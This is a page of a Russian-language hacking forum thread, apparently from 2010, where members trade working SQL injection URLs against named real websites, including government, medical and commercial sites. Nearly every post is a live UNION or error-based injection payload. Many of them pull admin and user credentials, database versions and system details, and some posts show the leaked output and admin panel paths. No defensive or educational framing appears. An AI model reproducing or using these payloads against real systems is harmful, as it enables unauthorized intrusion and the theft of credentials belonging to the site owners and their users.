SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    PHP:
    http://www.donny.co.uk/Doncaster/events/event.php?ID=-26879+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--

    http://www.donny.co.uk/Doncaster/events/event.php?ID=-26879+union+select+1,group_concat(namelc,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23++from+phplist_admin+

    PHP:
    http://www.telenetholidays.com/holidays/travel.php?ID=-85+UnIon+selECt+group_concat(user(),char(58),database(),char(58),version()),2,3,4+--+
     
    _________________________
    #12741 Uex Urgent, 22 Aug 2010
    Last edited: 23 Aug 2010
    4 people like this.
  2. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    PHP:
    http://www.riwcentries.com/riwc09results/printaward/labels.php?id=-1546+UnIon+selECt+1,2,concat_ws(0x3a,username,password)+from+users+limit+0,1--+
    PHP:
    http://www.channel5belize.com/archive_detail_story.php?story_id=-1+union+select+1,2,group_concat(username,char(58),password),4,5,6,7+from+admin_login--+
     
    #12742 moodoone, 22 Aug 2010
    Last edited: 22 Aug 2010
  3. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    мебельный магазин
    Code:
    http://www.amadey.com/base.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15,16,17,18--&p=4
    недвижимость.
    Code:
    http://www.kvadratgroup.com/sale/base.php?act=list&obj=-6+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
    какая-то ассоциация
    Code:
    http://www.theassociates.com.au/base.php?pg=jobdet&id=-87+UnIoN+SelEcT+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15--
    мягкая мебель
    Code:
    http://www.divaninfo.ru/base.php?id=-143+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
    мед портал
    Code:
    http://tutd0kt0r.ru/base.php?id=-19+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--&lev=0
    дизайн-группа

    Code:
    http://www.flatart.ru/base.php?id=-20+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--
    пластиковые окна
    Code:
    http://info-trocal.ru/base.php?id=-52+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--
    мед портал
    Code:
    http://med-55.ru/base.php?id=-174+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--&lev=1
    мебель-красивый сайт
    Code:
    http://cesorp.ru/base.php?id=-315+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--&lev=1
     
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.cinemagine.com/news.asp?id=37+or+(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+

    ребят молодцы, так держать
     
    _________________________
  5. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    портал вне-дорожников
    Code:
    http://centerforstudyofpublicchoice.com/base.php?id=-668+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--&lev=1
    музыкальный сайт\магазин (есть картон) PR-4
    Code:
    http://www.canyoufeelitmedia.com/master.php?page=mediaitem&id=-271+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    непонятный сайт ^_^
    Code:
    http://w3.sc-du-langage.univ-tlse2.fr/parcours-master.php?id=-105+union+select+1,2,3,4,5,6,version()--
     
    1 person likes this.
  6. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.go-whippet.co.uk/announce.php?id=-9+UnIon+selECt+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+where+table_shema=database()--
     
    #12746 moodoone, 22 Aug 2010
    Last edited by a moderator: 22 Aug 2010
  7. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87

    PR 4


    PR 3 ТИЦ 235. Фруктовый Кефир - Официальный сайт группы. xD полчаса ржал :D
     
    2 people like this.
  8. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    раскуривать скуль до админки я больше не буду, а то вчера какойто нехороший человек залил шелл, поэтому держите скуль сайта тайланда, раскуренную до простого юзера

    Code:
    http://www.cbh.moph.go.th/source/News/tor.php?id_news=-325+union+select+1,concat_ws(0x3a,user_name,user_password),3,4,5,6,7,8,9,10,11,12+from+user_login+--+

    ну а это просто до кучи
    Code:
    http://www.imagesfestival.com/call.php?id=-8+union+select+1,2,3,4,user(),6,7,8,9,10,11+--+
    еще одна раскуренная
    Code:
    http://www.pescador.online.pt/mar.php?id=-4+union+select+1,2,concat_ws(0x3a,nick,psw)+from+Users+--+
     
    #12748 Kusto, 22 Aug 2010
    Last edited by a moderator: 22 Aug 2010
    2 people like this.
  9. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://stonezone.com/article.php?id=181-999.9+union+select+1,2,3,4,5--
    Code:
    http://www.jakehalpern.com/article.php?id=58-999.9+union+select+1,2,3,version(),5--
    Code:
    http://www.jakehalpern.com/article.php?id=58-999.9+union+select+1,2,3,version(),5--
    Code:
    http://www.compete.pl/abstract.php?id=4-999.9+union+select+1,2,3,version()--
    Code:
    http://www.offix.com/career.php?ID=2-999.9+union+select+1,2,VERSION(),4--
    Code:
    http://www.mind-infotech.com/career.php?j_id=13-999.9+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18--
    P.S.Раскручивать их не стал. Впадлу. Вы можете это сделать за меня)
     
    1 person likes this.
  10. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.bars.ru/career.php?id=-1+union+select+1,group_concat(database(),0x3a,user(),0x3a,version()),3,4,5,6,7,8,9,10,11--+

    bars:bars1@localhost:4.1.25-log

    PR: 3 ТИЦ: 40


    http://www.kraina-z.com.ua/career.php?id=2+'+union+select+1,group_concat(version(),0x3a,database()),3,4+from+information_schema.tables--+

    5.0.51a-community-nt:db_kraina

    http://www.bms-service.ru/press.php?id=-17+union+select+1,2,group_concat(version(),0x3a,user())+--+

    4.1.22-log:bmsservice_bms@localhost
     
    #12750 tracy, 22 Aug 2010
    Last edited: 22 Aug 2010
    2 people like this.
  11. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    сайт Айтишников :D домен ирландский


    Code:
    http://www.ittconference.ie/main.php?ID=2+and+1=0+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7+from+itt_reviewer+--+
    админов не трогал- показал простых юзеров, результат прячется между тегами

    <title>IT & T Conference - $username:$hash</title>
     
    #12751 Kusto, 22 Aug 2010
    Last edited by a moderator: 22 Aug 2010
    1 person likes this.
  12. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    круизный центр

    НЕПТУН

    http://www.neptun.ru/region/?regroup=1&region=-2+and+1=2+union+all+select+concat_ws(char(58),@@version,user(),database(),@@version_compile_os)--

    version : 5.1.32-log
    user : neptun@localhost
    database : neptun
    os : portbld-freebsd7.1

    можно поюзать....таблиц 198
    /admin/
     
    #12752 AC//DC, 22 Aug 2010
    Last edited: 22 Aug 2010
  13. Мор0к

    Мор0к Member

    Joined:
    4 Aug 2010
    Messages:
    7
    Likes Received:
    7
    Reputations:
    1
    Дырочка в крупном портале

    PR8

    http://www.unifem.org/materials/item_detail.php?ProductID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,concat(0x3a3a,USER())/*+


    user: [email protected]
     
    1 person likes this.
  14. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.rijkheusden.nl/Content/base.php?ID=-88+UnIon+selECt+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16+--+
    тИЦ — 10
    PR — 4
     
    1 person likes this.
  15. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    скука - страшное дело

    PHP:
    http://www.theatreroyalwindsor.co.uk/event.php?id=-274+union+select+1,group_concat(database(),char(58),user(),char(58),version(),char(58),@@version_compile_os),3+--
     
    _________________________
  16. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    мне всегда нравились админские пароли в плайнтексте

    Code:
    http://www.eccoid.com/OURWORK/1.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,username,user_password),7,8,9,10,11,12+from+user+--+
     
  17. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.soldatru.ru/read.php?id=-774+UNIOn+SELEcT+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
    извеняюсь что не в тему,но солдатики России жгут=)
    мб кто раскрутит

    Code:
    http://www.dhammaweb.net/Tipitaka/read.php?id=-153+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),9,10,11,12,13,14,15,16,17,18,19,20,21--
    Code:
    http://www.hdtinfo.com/news/read.php?id=-1157947239+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5--
    pr-3

    Code:
    http://eye.box.sk/read.php?id=-5425+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),7--
    тиц-20
    pr-4
     
    #12757 Lilo, 23 Aug 2010
    Last edited: 23 Aug 2010
  18. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    сайт бетмена
    тиц 10
    pr 3
    Code:
    http://www.adultfyi.com/read.php?ID=-21846+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8--
     
  19. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    немножко порнушки на ночь глядя не помешает :D

    Code:
    http://www.collegedrunkfest.com/sex.php?id=267+and+1=0+union+select+1,2,concat_ws(0x3a,user,name),4,5+from+sexmoves+limit+3,1--+
    и еще одна раскуренная
    Code:
    http://www.osiam.com/sex/sex.php?id=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5+from+members+--+
     
    #12759 Kusto, 23 Aug 2010
    Last edited: 23 Aug 2010
    1 person likes this.
  20. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.townofryeny.gov/index.php?act=view_cms&id=-4+union+select+1,group_concat(0x0b,admin_id,0x3a,admin_name,0x3a,admin_pwd),3,4,5,6,7,8,9,10+from+admin+--&contentFull=full
    PR 4
    panel: /admin/
     
Thread Status:
Not open for further replies.